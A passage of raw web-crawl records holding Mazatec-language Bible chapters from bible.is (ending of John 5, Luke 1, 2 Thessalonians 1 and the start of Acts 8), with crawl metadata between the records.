ma‑nioo̱. 45Kì tà chjàn ko̱'sín níkítsjen nga 'a̱án kongí‑no ya̱ ngixko̱n Nainá; ti̱jé‑ni Moisés ra fa'ta ikon jiòn ra koa̱àngi‑no. 46Nga̱, tsa kixi̱í‑la kjoa̱ nga makjiín‑najiòn jè 'én ra tsikínda Moisés, ti̱'koa̱á ko̱kjiín‑te‑najiòn ra a̱'ta tsa̱'a̱n; nga̱ jè Moisés 'kia̱ nga tsikínda xa̱jo̱n, a̱'ta tsa̱'a̱án kiìchja̱ koni 'sín nga tsikínda xa̱jo̱n. 47Tanga tsa mì kì makjiín‑no koni 'sín tíchja̱ jè xa̱jo̱n ra tsikínda Moisés, ¿kó'sín ko̱kjiín‑najiòn 'én ra 'a̱n ko̱xín‑no?\nSan Juan 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/5","date":"2013-12-07T11:46:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054352\/warc\/CC-MAIN-20131204131734-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":1094,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kjoa̱ kixi̱ xi komà i̱jiìn na̱xa̱ndá i̱t'aà ts'e̱ Cristo, jye kjìn ma‑ne xi̱ta̱ xi kiskiì chiba 2koni s'ín tsakóya‑naje̱n jñà xi̱ta̱ xi xko̱n kijtseè‑ne skanda tàts'en‑la̱ kjoa̱, ti̱jñà‑ne xi kis'e‑la̱ xá nga kisìka'bí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 3Ngaji̱ Na̱'èn Teófilo xi 'ñó ndeè, ti̱koa̱á 'a̱n, ndaà sasén‑na nga tìkjiì‑lè xo̱jo̱n jè, koni s'ín tjín nga jngoò ìjngoò sko̱ya kjoa̱; ndaà tsohotsjì‑jñaà yije skanda ti̱sa̱ tàts'en‑la̱ kjoa̱ 4mé‑ne nga ìsa̱ ndaà jcha̱‑ne kjoa̱ kixi̱ xi nguì ko̱s'ín tjín, jñà 'én xi k'oa̱s'ín tsakóya‑lè xi̱ta̱. 5Koi na̱chrjein k'e̱ nga jè tíjna xi̱ta̱xá ítjòn Herodes ján nangui Judea, tíjna jngoò no̱'miì xi Zacarías 'mì xi tje̱‑la̱ ts'e̱ Abías. Jè Zacarías tjín‑la̱ chjo̱ón xi Elisabet 'mì xi ti̱koa̱ tje̱‑la̱ ts'e̱ Aarón. 6Jñà ingajò, xi̱ta̱ kixi̱‑né nga nguixko̱n Nainá. Síkitasòn yije‑né ngats'iì kjo̱tíxoma‑la̱ Nainá. 7Tsjìn‑la̱ i̱xti; jè Elisabet, chjo̱ón 'ndi̱‑né; ingajò, jyeé 'ñó xi̱ta̱ jchínga. 8Jngoò na̱chrjein, jñà xi̱ta̱ no̱'miì xi síxákjoò Zacarías, jñà tsako̱‑la̱ nga kisìxá nguixko̱n Nainá. 9Koni s'ín tjín kjo̱tíxoma xi ts'e̱ no̱'miì Israel, tsako̱‑la̱ suerte Zacarías nga jahas'en ni'ya tsjeè‑la̱ Nainá, ya̱ i̱ya i̱ngo̱ ítjòn, nga jè ko̱kà chrjongó‑la̱ Nainá. 10Jè hora k'e̱ nga tì chrjongó‑la̱ Nainá ngats'iì xi̱ta̱ na̱xa̱ndá, ya̱á títsa̱jna ndi̱tsin nga nchichja̱t'aà‑la̱ Nainá. 11Jè Zacarías tsatsejèn jngoò‑la̱ àkja̱le̱‑la̱ Nainá xi síjna kixi̱ ya̱ ngobà kixi̱‑la̱ ñánda tìsòn chrjongó‑la̱ Nainá. 12Jè Zacarías k'e̱ nga kijtseè, tà kjòxkón‑la̱, tà kitsakjòn‑né. 13Ta̱nga jè àkja̱le̱‑la̱ Nainá kitsò‑la̱: ―Ngaji̱, Zacarías, kì tsakjoòn‑jèn; jè kjoa̱ bìtsi'ba‑lè jye kina'yà‑la̱; jè chjo̱ón‑lè Elisabet, jts'ín jngoò‑la̱ ki'ndí x'i̱n; k'oa̱á s'ín kít'aà 'ín‑la̱ nga Juan k'oín. 14'Ñó s'e̱‑lè kjo̱tsja. Koi kjoa̱‑la̱ nga jè ki'ndí xi jts'ín, kjìn xi̱ta̱ kjo̱tsja‑la̱. 15Xi̱ta̱ ítjòn kíjna nga nguixko̱n Nainá; mìkiì xán sk'oí nga xó k'oa̱á s'ín kitjaàjiìn‑ne; Ini̱ma̱ Tsjeè‑la̱ Nainá si̱jiìn ini̱ma̱‑la̱ skanda ti̱k'e̱‑ne nga ti̱sa̱ tíjna'ya'ma i̱ndso̱'ba̱ nea̱‑la̱. 16Xi i̱t'aà ts'e̱, kjìn xi̱ta̱ na̱xa̱ndá Israel ko̱ófat'aà‑la̱ Nainá. 17Jè kjoi̱ ítjòn‑la̱ Na̱'èn‑ná. Si̱jiìn ini̱ma̱‑la̱ nga'ñó xi kisìkjeén jè Elías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá. Ini̱ma̱‑la̱ xi̱ta̱ jchínga, 'nchán si̱ìkítsa̱jnako̱ i̱xti‑la̱. Jñà xi̱ta̱ xi tájaàjiìn tjín ini̱ma̱‑la̱ nga mìkiì síkitasòn, si̱ìkjatjìya‑la̱ kjo̱hítsjeèn‑la̱ mé‑ne nga s'e̱‑la̱ kjoa̱ chji̱ne̱ xi tjín‑la̱ xi̱ta̱ kixi̱. K'oa̱á s'ín si̱ìkíyijòndaà xi̱ta̱ na̱xa̱ndá mé‑ne nga kítsa̱jnandaà‑ne k'e̱ nga kjoi̱í Na̱'èn‑ná. 18Zacarías kitsò‑la̱ jè àkja̱le̱: ―¿Kó s'ín skoeè‑na tsà kixi̱ kjoa̱? 'A̱n, jye 'ñó xi̱ta̱ jchínga; ti̱koa̱á chjo̱ón‑na̱ jye tífehet'aà na̱chrjein‑la̱. 19Jè àkja̱le̱ kitsò: ―'A̱n‑ná Gabriel xi tìjna̱a nguixko̱n Nainá; kisìkasén‑na nga kichjàko̱‑lè, tsjaà‑lè 'én ndaà‑la̱ Nainá. 20I̱'ndei̱, kijna chi̱sín‑né, mìkiì ko̱ma ki̱nókjoi̱i skanda k'e̱ nga ki̱jchò na̱chrjein nga ki̱tasòn 'én koi, koií kjoa̱‑la̱ nga mìkiì kòmokjeiín‑lè 'én‑na̱ xi kàxan‑lè. 21Jñà xi̱ta̱ na̱xa̱ndá, nchikoña‑la̱ Zacarías. Kjònangui‑la̱ xíkjín nga tífìchrjein‑la̱ nga mìkiì xátí bitjo‑ne ni'ya tsjeè‑la̱ Nainá. 22K'e̱ nga jye itjo‑ne jyeé kjòchi̱sín; mì ti̱ kiì ma chja̱‑ne; jñà xi̱ta̱ xi nchikoña‑la̱ kis'ejiìn‑la̱ nga tjín kjoa̱ xi kijtseè ya̱ i̱ya ni'ya tsjeè‑la̱ Nainá; Zacarías tà jmeé chi̱sín‑ìsa tsja. K'oa̱á s'ín tsibìjna nga mìkiì komà kiìchja̱. 23Zacarías, k'e̱ nga jye kisisòn jñà na̱chrjein nga kisìkitasòn xá‑la̱, kiì‑ne ni'ya‑la̱. 24K'e̱ nga komà i̱skan, jè chjo̱ón Elisabet, ki'ndí ts'a; 'òn sá mì ti̱ kiì itjo‑ne ni'ya‑la̱. Kitsò: 25\"K'oa̱á s'ín kisìko̱‑na jè Nainá xi i̱t'aà ts'a̱n: kijtseè i̱ma̱á‑na nga kitsjaà‑na kjo̱ndaà‑la̱ mé‑ne nga mì kiì ti̱ ko̱chrjekàngui‑na xi̱ta̱.\" 26K'e̱ nga ijchò joòn sá, jè àkja̱le̱ Gabriel, Nainá kisìkasén jngoò na̱xa̱ndá xi chja̱‑ne Galilea ñánda 'mì Nazaret. 27Kiìkon jngoò chjo̱ón xo̱ngó xi tjín‑ne nga jè ki̱xan‑ko̱ jngoò xi̱ta̱ xi 'mì José xi tje̱‑la̱ ts'e̱ xi̱ta̱xá ítjòn xi ki'mì David. Jè 'ín‑la̱ chjo̱ón xo̱ngó, María 'mì. 28Jè àkja̱le̱, k'e̱ nga jahas'en ni'ya nga kijtseèxkon María, kitsò‑la̱: ―¡Ndaà‑lè, ngaji̱ xi ji̱ kitjoé‑lè kjo̱ndaà jè! Nainá tíjnako̱‑lè. Ngaji̱ xi ndaà kjòchikon‑t'in mì k'oa̱á‑ne koni íchjín xi kj'ei̱í. 29Jè María k'e̱ nga kijtseèxkon, tà kjòxkón‑la̱ koni s'ín kitsò‑la̱ jè àkja̱le̱; kisìkítsjeèn kó tsòya‑ne nga ko̱s'ín j'iì síhixat'aà‑ne. 30Jè àkja̱le̱ kitsò‑la̱: ―María, kì tsakjoòn‑jèn, jye kitjoé‑lè kjo̱ndaà nga nguixko̱n Nainá. 31I̱'ndei̱ ko̱xk'én‑né, ki'ndí jcha̱ jngoiì. K'oa̱á s'ín kít'iì 'ín‑la̱ nga Jesús k'oín. 32Xi̱ta̱ ítjòn ko̱ma; Ki'ndí‑la̱ Nainá k'oín xi ìsa̱ 'ñó 'nga tíjna; Nainá, jè si̱ìnga̱tsja kjo̱tíxoma‑la̱. Xi̱ta̱xá ítjòn kíjna koni s'ín tsibìjna David xi xi̱ta̱ jchínga‑la̱ komà. 33Jè ko̱tìxoma‑la̱ na̱xa̱ndá Israel. Kjo̱tíxoma‑la̱ mì kì kjoe̱het'aà ni̱ta̱ kjé‑ne. 34Jè María k'e̱é kitsò‑la̱ àkja̱le̱: ―¿Kó s'ín ko̱ma jè kjoa̱ koi? Nga mìtsà x'i̱n tjín‑na. 35Jè àkja̱le̱ kitsò: ―Jè Ini̱ma̱ Tsjeè‑la̱ Nainá ki̱tjojen‑nè‑lè. Jè nga'ñó‑la̱ Nainá xi 'ñó 'nga tíjna koi̱ìjtsat'in‑lè koni jngoò 'nguién‑la̱ ifi mé‑ne jè ki'ndí tsjeè xi jts'ín, Ki'ndí‑la̱ Nainá k'oín. 36Jè xingui̱i Elisabet xi chjo̱ón 'ndi̱, kò joòn sá tjín‑la̱ nga ki'ndí 'ya na̱s'ín jye 'ñó xi̱ta̱ jchínga. 37Xi i̱t'aà ts'e̱ Nainá, ni̱jngoò kjoa̱ xi mìkiì ko̱ma‑la̱ ―kitsò àkja̱le̱. 38K'e̱é kitsò María: ―'A̱n‑ná xi chjo̱ón chi̱'nda‑la̱ Nainá; k'oa̱s'ín kàtama koni s'ín kò'mì‑ná. Jè àkja̱le̱ ti̱nguixko̱ón‑ne kiì‑ne. 39Na̱chrjein koi, jè María ni̱to̱ón kiì jngoò na̱xa̱ndá xi kijna'nchò nindoò ján nangui Judea. 40Jahas'en ni'ya‑la̱ Zacarías; kisìhixat'aà Elisabet. 41K'e̱ kiì'nchré Elisabet nga kisìhixat'aà María, ki'ndí xi 'ya, kiskì'nga i̱ya i̱ndso̱'ba̱. Jè ini̱ma̱‑la̱ Elisabet ndaà kis'ejiìn Ini̱ma̱ Tsjeè‑la̱ Nainá. 42K'e̱é 'ñó kiìchja̱, kitsò: ―¡Nainá, ìsa̱á 'ñó ndaà tísíchikon‑t'in‑lè mì k'oa̱á‑ne koni jñà íchjín xi kj'ei̱í; ti̱koa̱á ki'ndí‑lè xi tíjnaya i̱ndso̱'boì 'ñó ndaà tímachikon‑t'in! 43¿Yá‑ná 'a̱n? ¡Mé tà ndaà kòf'ìi̱jchon‑ná ji̱ xi nea̱‑la̱ Na̱'èn‑ná! 44Ti̱k'e̱‑né nga kà'nchrè nga kànìhixat'aà‑ná, ki'ndí‑na̱ kàkjì'ngaya i̱ndso̱'bà nga tsja kòma‑la̱. 45¡Mé tà ndaà‑lè nga mokjeiín‑lè 'én xi kis'eno̱jmí‑lè! Jè 'én xi kiìchja̱ Nainá ki̱tasòn‑né ―kitsò Elisabet. 46Jè María kitsò: Ini̱ma̱‑na̱ 'ñó 'nga tísíkíjna Nainá. 47Matsja‑na i̱t'aà ts'e̱ Nainá xi ochrjekátjì‑na. 48Kijtseè i̱ma̱á‑na, 'a̱n xi chjo̱ón chi̱'nda‑la̱ ma; i̱'ndei̱ skanda ni̱ta̱ kjé‑ne k'oa̱á s'ín ki̱tso̱‑na xi̱ta̱: \"Mé tà ndaá‑la̱.\" 49'Ñó ndaà tse kjoa̱ kisìko̱‑na Nainá, jè, nga ìsa̱ tse nga'ñó tjín‑la̱. Nainá, xi̱ta̱ tsjeè‑né. 50Tjín kjit'aà‑la̱ kjo̱hi̱ma̱takòn i̱t'aà ts'e̱ jñà xi̱ta̱ xi beèxkón skanda tàts'en‑la̱ kjoa̱ ni̱ta̱ kjé‑ne. 51K'oa̱á s'ín okó nga tse nga'ñó tjín‑la̱; jñà xi̱ta̱ xi 'ñó 'nga ikon i̱jiìn ini̱ma̱‑la̱, ochrjekàngui kjo̱hítsjeèn‑la̱. 52Jñà xi̱ta̱xá ítjòn xi 'nga títsa̱jna, faáxìn kjo̱tíxoma‑la̱, koa̱ jñà xi nangui títsa̱jna, ìsa̱á 'nga síkítsa̱jna. 53Jñà xi̱ta̱ xi tsjìn‑la̱ tsojmì xi kine, 'ñó kjìn tsjá‑la̱, koa̱ jñà xi̱ta̱ nchi̱ná, ni̱mé tsjá‑la̱, tà síkasén tiyaá‑ne. 54Nainá síchját'aà‑la̱ na̱xa̱ndá Israel, jñà xi̱ta̱ chi̱'nda‑la̱; mìkiì síjchàajiìn nga tjòkeè Abraham, 55ngats'iì tje̱‑la̱ ni̱ta̱ mé na̱chrjein‑ne. Nga Nainá, k'oa̱á s'ín kitsjaà‑la̱ tso'ba jñà xi̱ta̱ jchínga‑ná. Kitsò María. 56Jè María, jàn sá tsibìjnako̱ Elisabet; k'e̱ komà i̱skan kiì‑ne ni'ya‑la̱. 57K'e̱ nga jye ijchò na̱chrjein‑la̱, Elisabet, kits'iìn jngoò‑la̱ ki'ndí x'i̱n. 58Nainá, 'ñó ndaà kisìko̱. K'e̱ nga kiì'nchré xi̱ta̱ xíkjín ko̱ xi̱ta̱ i̱ndiì ni'ya‑la̱ ti̱koa̱á kjòtsja‑la̱. 59Nga komà jiìn na̱chrjein, kiìko̱ jè ki'ndí nga nguixko̱n no̱'miì, mé‑ne nga kisit'aà chi̱ba̱‑la̱ yijo‑la̱ kjoa̱ ts'e̱ circuncisión. Jñà xi̱ta̱ xi kj'ei̱í, k'oa̱á s'ín mejèn tsibít'aà 'ín koni 'mì na̱'èn‑la̱ nga Zacarías 'mì. 60Ta̱nga jè nea̱‑la̱ kitsò: ―Majìn, Juan k'oín. 61Kitsò jñà xi̱ta̱ xi títsa̱jna: ―¿Mé‑ne ko̱s'ín k'oín‑ne? Ni̱jngoò xi̱ta̱ xingui̱i xi ko̱s'ín 'mì 'ín‑la̱. 62K'e̱é kitjònangui chi̱sín‑la̱ na̱'èn‑la̱ kó k'oín. 63Zacarías kisìjé jngoò íteè nga kiskiìjno, tsibít'aà: \"Juan 'mì 'ín‑la̱.\" Ngats'iì xi̱ta̱ xi ya̱ títsa̱jna, tà k'oa̱á komà‑la̱. 64Zacarías ti̱k'e̱é‑ne kitáx'a̱‑ne tso'ba ko̱ tsanìyá‑ne ni̱je̱n, i̱kjoàn komà kiìchja̱‑ne. K'e̱é kitsjaà‑la̱ kjo̱ndaà Nainá. 65Ngats'iì xi̱ta̱ xi títsa̱jna chrañà i̱ndiì ni'ya‑la̱, tà kjòxkón‑la̱ k'e̱ nga kiì'nchré nga jye ma kiìchja̱‑ne Zacarías. Xki̱ xi ján tsabísòn kjoa̱ koi kóho̱kji i̱nchò nindoò nangui Judea. 66Ngats'iì xi̱ta̱ xi kiì'nchré kjoa̱ koi, tsohóko̱ i̱jiìn ini̱ma̱‑la̱; kitsò: ―Jè ki'ndí, k'e̱ nga ko̱jchínga, ¿yá xi̱ta̱ xi ko̱ma? Nga jè nga'ñó‑la̱ Nainá tíjnako̱. 67Zacarías, na̱'èn‑la̱ Juan, kisijiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Kiìchja̱ ngajo‑la̱ Nainá, kitsò: 68¡Mé tà ndaà kji‑la̱ Na̱'èn‑ná jè xi Nainá tsò‑la̱ na̱xa̱ndá Israel nga j'iì kíchjítjì na̱xa̱ndá‑la̱ ti̱koa̱ j'iì síkíjnandei̱í! 69Kitsjaà jngoò‑ná xi̱ta̱ xi tse nga'ñó tjín‑la̱ nga j'iì kachrjetjì‑ná kjo̱'in xi kjoa̱ ts'e̱ jé‑ná, jè xi tje̱‑la̱ David xi chi̱'nda‑la̱ Nainá tsibìjna. 70Nainá kisìkjeén tso'ba jñà xi̱ta̱ tsjeè‑la̱ xi kiìchja̱ ngajo‑la̱. K'oa̱á s'ín kitsò nga ti̱sa̱ tàts'en‑la̱ kjoa̱ nga 71ko̱chrjekátjì‑ná i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑ná, ko̱ xi̱ta̱ xi jtikeè‑ná. 72K'oa̱á ti̱ kitsò Nainá nga skoe̱ i̱ma̱ jñà xi̱ta̱ jchínga‑ná. Mìkiì si̱ìjchàajiìn jè 'én xi kitsjaà‑la̱ xi̱ta̱ jchínga‑ná Abraham nga tsibíndaàjiìn‑ko̱ jngoò kjoa̱ tsjeè. 73Nainá, k'oa̱á s'ín kitsjaà‑la̱ tso'ba Abraham xi xi̱ta̱ jchínga kjiìn‑ná nga 74si̱ìkítsa̱jnandei̱í‑ná ts'e̱ xi̱ta̱ kondra̱‑ná mé‑ne nga mìkiì ki̱skoán nga si̱xá‑lá. 75Kjit'aà na̱chrjein tsjeè ki̱tsa̱jnaá ti̱koa̱ kixi̱ ki̱tsa̱jnaá nga nguixko̱n Nainá. Kitsò Zacarías. 76K'e̱é kitsò‑la̱ ki'ndí‑la̱: Ngaji̱, si̱ìkjeén‑lè Nainá xi 'ñó 'nga tíjna nga ki̱nókjoa̱ ngajo‑la̱. Ngaji̱í k'oín ítjòn‑la̱ Na̱'èn‑ná nga kíndiì ndi̱yá‑la̱. 77Kéno̱jmí‑la̱ na̱xa̱ndá‑la̱ kós'ín s'ín Nainá nga ko̱chrjekátjì‑ná jé‑ná. Nainá, 'ñó tse kjo̱hi̱ma̱takòn tjín‑la̱ nga síjchàat'aà‑la̱ jé‑la̱ jñà xi̱ta̱. 78Nainá si̱ìkasén jngoò‑ná xi nchrobá‑ne ngajmiì. K'e̱ nga kjoi̱í, k'oa̱á s'ín si̱ìhiseèn‑la̱ xi̱ta̱ koni s'ín mahiseèn k'e̱ nga ta̱jñòya. 79Jñà ko̱hiseèn‑la̱ kjo̱hítsjeèn‑la̱ xi̱ta̱ xi i̱'nde jñò títsa̱jnajiìn, ko̱ xi jye ndi̱yá kjoa̱ biyaà tjímaya. Ya̱á kji̱ko̱‑ná ndi̱yá ñánda tjín kjoa̱'nchán. Kitsò Zacarías. 80Ki'ndí jè tímajchínga ti̱koa̱ tís'e‑la̱ nga'ñó xi ts'e̱ ini̱ma̱‑la̱. Ya̱á tsibìjna i̱'nde i̱t'aà xìn ñánda nangui kixì choòn skanda k'e̱ nga tsibíts'ia̱ nga tsibìjna osen‑la̱ na̱xa̱ndá Israel.\nSan Lucas Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/","date":"2013-12-07T11:31:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054352\/warc\/CC-MAIN-20131204131734-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":42,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":1427,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñò xi xi̱ta̱ na̱xa̱ndá‑la̱ Nainá maà xi titsa̱jnaà ya̱ na̱xa̱ndá Tesalónica nga ya̱ titsa̱jnakjoòko̱o Nainá xi Na̱'èn‑ná ko̱ jè Jesucristo xi otíxoma‑ná, 'a̱n xi 'mì‑na Pablo titsa̱nìhixot'aà‑nòje̱n ko̱ Silvano [ti̱jé‑ne xi 'mì Silas] ko̱ Timoteo. 2Nainá xi Na̱'èn‑ná, ko̱ jè Jesucristo xi otíxoma‑ná kàtatsjá‑nò kjo̱ndaà ko̱ kjoa̱'nchán ya̱ i̱jiìn ini̱ma̱‑nò. 3Ndí 'ndseé ko̱ tichjaá mochjeén‑nè nga kjit'aà na̱chrjein k'oi̱í‑la̱je̱n kjo̱ndaà Nainá xi i̱t'aà tsa̱jòn. Ndaà tjín nga k'oa̱s'ín s'e̱n‑je̱n, koií kjoa̱‑la̱ nga na̱chrjein inchijòn ìsa̱ ndaà mokjeiín‑nò ko̱ ìsa̱ ndaà matsjacha xinguio̱o nga jngoò ìjngoò. 4K'oa̱á ma‑ne nga ndaà matsja‑naje̱n i̱t'aà tsa̱jòn; k'oa̱á s'ín bèno̱jmí‑la̱je̱n jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi xìn nangui títsa̱jna nga jñò, ndaà mokjeiín‑nò ko̱ ndaà chíkjoa̱ko̱‑nò na̱s'ín 'ñó fì tji̱ngui kondra̱‑nò xi̱ta̱ ko̱ na̱s'ín kjo̱'in titsa̱nìkjioón. 5Ngats'iì kjoa̱ koi, Nainá k'oa̱á s'ín okó nga kixi̱ koi̱ìndaàjiìn; ko̱ k'oa̱á ma‑ne nga jñò, ok'ín‑nò nga ya̱ ki̱tsa̱jnajiìn‑là xi̱ta̱ xi jè tíhotíxoma‑la̱, nga ti̱koi‑ne kjoa̱‑la̱ Nainá nga kjo̱'in titsa̱nìkjioón. 6Nainá, xi̱ta̱ kixi̱‑né nga tsjá‑la̱ kjo̱'in jñà xi̱ta̱ xi kjo̱'in tsjá‑nò. 7Ko̱ jñò xi kjo̱'in titsa̱nìkjioón, tsjá‑nò kjoa̱'nchán ko̱ ngaje̱n, k'e̱ nga kji̱nchrobàjen ngajmiì Jesucristo xi otíxoma, tji̱ko̱ àkja̱le̱‑la̱ xi 'ñó tse nga'ñó tjín‑la̱ nga kji̱nchrobàjen‑jiìn ni'ín. 8Nainá tsjá‑la̱ kjo̱'in jñà xi̱ta̱ xi mìkiì beèxkón ni̱ mìkiì síkitasòn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Jesucristo xi otíxoma‑ná. 9Xi̱ta̱ koi, 'ñó tse kjo̱'in si̱ìkjeiín ni̱ta̱ kjé‑ne; mì ya̱á kítsa̱jna nguixko̱n Na̱'èn‑ná, ko̱ mìkiì skoe̱ kjoa̱jeya‑la̱ xi 'ñó tse nga'ñó tjín‑la̱. 10Kjoa̱ koi, k'oa̱á s'ín ko̱ma jè na̱chrjein k'e̱ nga ki̱tjojen ìjngoò k'a Na̱'èn‑ná mé‑ne nga i̱t'aà ts'e̱ xi̱ta̱‑la̱ jeya kíjna‑ne ko̱ ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱, ta ko̱xkón‑la̱. Ti̱koa̱á jñò ya̱á ki̱tsa̱jnaà, koií kjoa̱‑la̱ nga kòkjeiín‑nò koni s'ín tsibèno̱jmí‑nòje̱n. 11K'oa̱á ma‑ne nga kjit'aà na̱chrjein bítsi'ba‑la̱je̱n Nainá i̱t'aà tsa̱jòn, mé‑ne nga Nainá ki̱tso̱ nga ok'ìn‑nò nga ya̱ ki̱nókjoa̱‑nò na̱xa̱ndá‑la̱ nga xó k'oa̱á s'ín kiìchja̱‑nò. Nga ko̱ nga'ñó‑la̱ kàtasíkitasòn ngats'iì kjo̱ndaà xi jñò sasén‑nò ko̱ xá xi 'nè nga Na̱'èn‑ná ma'ñót'aà takòn. 12K'oa̱á s'ín ko̱ma nga i̱t'aà tsa̱jòn jeya kíjna Jesucristo xi otíxoma‑ná. Ti̱koa̱ jè ndaà si̱ìkítsa̱jna‑nò koni s'ín tjín‑la̱ kjo̱ndaà jè Nainá ko̱ jè Jesucristo xi otíxoma‑ná.\n2 Tesalonicenses 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Thess\/1","date":"2013-12-07T01:39:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052970\/warc\/CC-MAIN-20131204131732-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":35,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":337,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.329,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Saulo, nga ya̱ síjna ti̱koa̱á kisìjngoò ikon nga kinìk'en Esteban. Kjòts'ia̱‑ne na̱chrjein jè nga 'ñó kiìtji̱ngui kondra̱‑la̱ xi̱ta̱ ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Cristo ján Jerusalén. Kóho̱tjín xi̱ta̱‑la̱ Cristo kitsjohoba kóho̱kji nangui Judea ko̱ Samaria. Tà jñà tsiningui‑ne xi̱ta̱ xi tsibíxáya‑la̱ Jesús. 2Tjín i'nga xi̱ta̱ xi beèxkón Nainá, jñà tsibíhijiìn Esteban. 'Ñó kiskindàyakeè. 3Ta̱nga jè Saulo, 'ñó kiìtji̱ngui kondra̱‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Cristo. Xki̱ xi ján ni'ya jahas'en nga kjo̱'ñó ochrje íchjín ko̱ íchjá, i̱kjoàn kinís'en nda̱yá. 4Jñà xi̱ta̱ xi kitsjohoba, xki̱ xi ján kiì nga kisìka'bí 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 5Jè Felipe, k'e̱ nga ijchò na̱xa̱ndá Samaria, ya̱á tsibéno̱jmí i̱t'aà ts'e̱ Cristo [xi̱ta̱ xi xó kisìkasén‑ne Nainá]. 6Jñà xi̱ta̱ Samaria nga kjìn ma, k'e̱ nga kiì'nchré ti̱koa̱ kijtseè jñà kjo̱xkón ndaà xi kis'iìn Felipe, kóho̱tjín, ìsa̱á ndaà kiì'nchré‑ìsa̱ koni s'ín tsibéno̱jmíya‑la̱. 7Kjìn xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱ kjòndaà‑ne. Jñà ini̱ma̱ ch'o‑la̱ nei̱í, 'ñó kjindáya k'e̱ nga bitjojiìn ini̱ma̱‑la̱ xi̱ta̱. Ti̱koa̱á kjìn xi̱ta̱ i̱ma̱ kjòndaà‑ne xi mìkiì ma síhiníyá yijo‑la̱ ko̱ xi tsá'yá kjoàn. 8K'oa̱á ma‑ne nga jñà xi̱ta̱ na̱xa̱ndá jè, 'ñó tsja kis'e‑la̱. 9Ya̱ Samaria tsibìjna jngoò xi̱ta̱ xi Simón ki'mì. K'e̱ nga sa̱ ítjòn, maá‑la̱ bíndaà. Kjìn nó kiskoòna̱cha̱n‑la̱ xi̱ta̱ xi ya̱ i̱'nde‑la̱ nga chincháxkón‑la̱ nga kitsò: \"'A̱n 'ñó ndaà machi̱ya‑na̱.\" 10Ngats'iì xi̱ta̱ i̱xti ko̱ xi̱ta̱ jchínga, ndaà kiì'nchréñijon‑la̱; kitsò: ―Jè xi̱ta̱ jè xi tse nga'ñó tjín‑la̱ i̱t'aà ts'e̱ Nainá. 11Koií kjoa̱‑la̱ nga ndaà kiì'nchréñijon‑la̱ nga jye kò kjìn nó kona̱cha̱n‑la̱ nga bincháxkón‑la̱ nga 'ñó ndaà ma‑la̱ bíndaà. 12Jñà xi̱ta̱, k'e̱ nga kòkjeiín‑la̱ 'én ndaà‑la̱ Nainá kó s'ín otíxoma Nainá ko̱ i̱t'aà ts'e̱ Jesucristo xi jè Felipe tíbéno̱jmí, tsibíts'ia̱ nga komà bautizar íchjín íchjá. 13Skanda ti̱jè‑ne Simón ti̱koa̱á kòkjeiín‑la̱; i̱kjoàn komà bautizar. Ñánda tsajmeè Felipe, ya̱á tsajmeiìko̱ Simón. Tà k'oa̱á ma‑la̱ nga tíbeè kjo̱xkón ndaà xi tís'ín Felipe ko̱ kjoa̱ xi okó kjoa̱ jeya‑la̱ Nainá. 14Jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús xi títsa̱jna Jerusalén, k'e̱ nga kiì'nchré nga jñà xi̱ta̱ Samaria jyeé kòkjeiín‑la̱ 'én‑la̱ Nainá, kisìkasén jè Pedro ko̱ Juan. 15Jñà xi̱ta̱ koi, k'e̱ nga jye ijchò Samaria, tsibítsi'batjì jñà xi̱ta̱ xi jye kòkjeiín‑la̱ mé‑ne nga tjoé‑la̱ jè Ini̱ma̱ Tsjeè‑la̱ Nainá. 16Nga̱ jè na̱chrjein jè, ni̱ sa̱á jngoò tjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. Sà tà jè i̱t'aà ts'e̱ Na̱'èn‑ná Jesús komà bautizar xi̱ta̱ koi. 17Jè Pedro ko̱ Juan, k'e̱é tsohósòn‑la̱ tsja, i̱kjoàn kitjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 18Jè Simón, k'e̱ nga kijtseè nga jñà xi̱ta̱ xi tsibíxáya‑la̱ Jesús, ósòn‑la̱ 